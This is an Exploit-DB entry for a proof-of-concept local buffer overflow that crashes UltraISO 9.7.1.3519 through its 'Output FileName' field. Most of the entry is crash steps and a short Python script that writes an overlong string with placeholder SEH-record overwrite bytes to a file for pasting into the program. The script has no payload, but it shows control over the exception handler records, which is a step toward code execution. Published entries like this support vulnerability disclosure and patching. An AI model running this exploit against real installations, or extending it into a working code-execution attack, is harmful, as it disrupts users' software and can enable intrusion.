UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service (PoC)

EDB-ID:
45996

CVE:
N/A

EDB Verified: ×

Author:
FRANCISCO RAMIREZ

Type:
DOS

Exploit: / {}

Platform:
WINDOWS

Date:
2018-12-14

Vulnerable App:

```
# Exploit Title: UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service
(PoC) and Pointer to next SEH and SE handler records overwrite
# Discovery by: Francisco Ramirez
# Discovery Date: 2018-12-14
# Vendor Homepage: https://www.ultraiso.com/
# Software Link : https://www.ultraiso.com/download.html
# Tested Version: 9.7.1.3519
# Tested on: Windows 10 Pro - 64 bit
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run python code : python UltraISO_9.7.1.3519.py
# 2.- Open UltraISO_9.7.1.3519.txt and copy content to clipboard
# 3.- Open UltraISO_9.7.1.3519
# 4.- In the Window select 'Tools' > 'Make CD/DVD Image'
# 5.- In the field  'Output FileName' remove the default path.
# 6.- Paste the content of UltraISO_9.7.1.3519.txt into the field: 'Output
FileName'
# 7.- Click 'Make' and you will see a crash.

#!/usr/bin/env python

a_letters = "\x41" * 304
seRecord = "\x42" * 4
sehRecord = "\x43" * 4
buffer = a_letters + seRecord + sehRecord
f = open ("UltraISO_9.7.1.3519.txt", "w")
f.write(buffer)
f.close()
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions